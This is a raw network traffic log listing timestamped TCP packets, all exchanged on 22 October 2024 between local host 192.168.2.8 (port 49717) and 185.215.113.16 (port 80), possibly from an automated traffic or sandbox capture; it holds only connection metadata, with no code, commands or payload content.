Oct 22, 2024 19:24:42.553019047 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.553031921 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553041935 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.553042889 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553055048 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553065062 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553069115 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553078890 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553088903 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553098917 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553101063 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.553101063 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.553113937 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553123951 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553128004 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.553134918 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553145885 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553155899 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553167105 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553173065 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.553173065 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.553175926 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553186893 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553199053 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553209066 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553219080 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553230047 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553240061 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.553240061 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.553241014 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553251982 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553262949 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553267956 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553277969 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553278923 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.553278923 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.553289890 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553302050 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553332090 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.553332090 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.553519011 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553530931 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553541899 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.553556919 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.595336914 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.892982960 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.892997026 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893007040 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893048048 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893059969 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893084049 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893084049 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893088102 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893100023 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893111944 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893136024 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893167019 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893191099 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893202066 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893212080 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893224955 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893234968 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893255949 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893260956 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893260956 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893270016 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893342972 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893356085 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893368006 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893378019 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893393040 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893403053 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893414021 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893414021 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893414021 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893424988 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893435955 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893445015 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893455982 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893460035 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893460035 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893491983 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893502951 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893513918 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893532991 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893532991 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893652916 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893663883 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893675089 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893685102 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893695116 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893695116 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893695116 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893706083 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893717051 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893727064 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893738031 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893748045 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893754959 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893754959 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893759012 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893800020 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893821955 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893831968 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893841028 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893851042 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893856049 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893856049 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893863916 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893873930 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893874884 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893888950 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893918037 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893918037 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.893963099 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.893985033 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894006968 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894016981 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894026995 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894037008 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894043922 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.894043922 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.894047022 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894058943 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894068956 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894071102 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.894079924 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894090891 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894100904 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894110918 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894114971 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.894114971 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.894123077 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894131899 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894144058 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894155025 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894165039 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894176006 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894181013 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.894181013 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.894212961 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.894212961 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.894414902 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894437075 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894498110 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.894501925 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894521952 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894536018 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894545078 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894550085 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894556046 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894561052 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894566059 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894572020 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894577026 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894582033 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894591093 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894599915 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894612074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894622087 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894623995 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.894632101 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894645929 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894655943 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894665956 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894676924 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894681931 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.894681931 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.894687891 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894697905 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894709110 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894716978 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894726992 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894737959 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894740105 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.894740105 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.894773006 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.894773006 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.894951105 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894962072 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894970894 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894982100 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.894992113 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895001888 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895011902 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895016909 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895016909 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895023108 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895034075 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895041943 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895051956 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895056963 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895056963 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895065069 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895076036 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895092010 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895102978 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895112991 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895112991 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895112991 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895123959 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895143986 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895149946 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895149946 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895155907 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895168066 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895178080 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895188093 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895196915 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895200014 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895200014 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895207882 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895216942 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895226002 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895236015 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895236969 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895236969 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895246983 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895256996 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895267010 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895277977 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895288944 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895291090 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895291090 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895299911 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895311117 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895328999 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895328999 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895333052 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895350933 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895356894 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895369053 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895378113 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895386934 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895395041 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895397902 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895410061 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895441055 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895441055 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895668030 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895678043 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895689011 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895699024 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895708084 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895709991 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895720959 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895730972 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895741940 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895750999 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895751953 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895751953 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895761967 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895771980 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895781994 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895786047 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895786047 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895792961 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895809889 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.895836115 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895836115 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.895998001 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896011114 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896022081 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896045923 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896055937 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896058083 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896058083 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896066904 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896076918 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896083117 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896086931 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896097898 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896109104 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896117926 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896126032 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896136999 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896147966 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896157026 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896162987 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896162987 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896171093 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896182060 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896193027 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896203041 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896207094 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896207094 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896229029 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896239042 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896250010 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896258116 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896260977 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896272898 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896303892 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896310091 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896327019 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896337986 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896344900 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896349907 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896362066 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896383047 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896394014 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896403074 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896408081 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896408081 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896414042 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896426916 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896436930 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896436930 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896450043 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896460056 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896471977 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896475077 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896475077 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896482944 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896493912 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896502972 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896507978 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896514893 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896524906 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896534920 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896543026 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896543980 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896543980 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896554947 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896567106 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896576881 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896578074 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896578074 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896588087 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896598101 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896611929 CEST	49717	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:24:42.896620035 CEST	80	49717	185.215.113.16	192.168.2.8
Oct 22, 2024 19:24:42.896629095 CEST	80	49717	185.215.113.16	192.168.2.8
